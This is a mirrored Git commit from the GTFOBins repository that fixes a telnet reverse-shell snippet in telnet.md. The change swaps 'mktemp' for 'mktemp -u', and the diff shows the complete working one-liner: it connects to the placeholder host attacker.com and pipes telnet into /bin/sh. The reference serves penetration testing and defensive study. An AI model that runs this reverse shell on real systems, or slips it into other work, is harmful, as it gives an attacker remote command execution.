mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
telnet.md(hotfix): Fixed a bug in telnet reverse shell
This commit is contained in:
parent
690bf325ae
commit
08db6ac84e
@ -13,7 +13,7 @@ functions:
|
||||
code: |
|
||||
RHOST=attacker.com
|
||||
RPORT=12345
|
||||
TF=$(mktemp)
|
||||
TF=$(mktemp -u)
|
||||
rm $TF
|
||||
mkfifo $TF && telnet $RHOST $RPORT 0<$TF | /bin/sh 1>$TF
|
||||
sudo-enabled:
|
||||
|
Loading…
Reference in New Issue
Block a user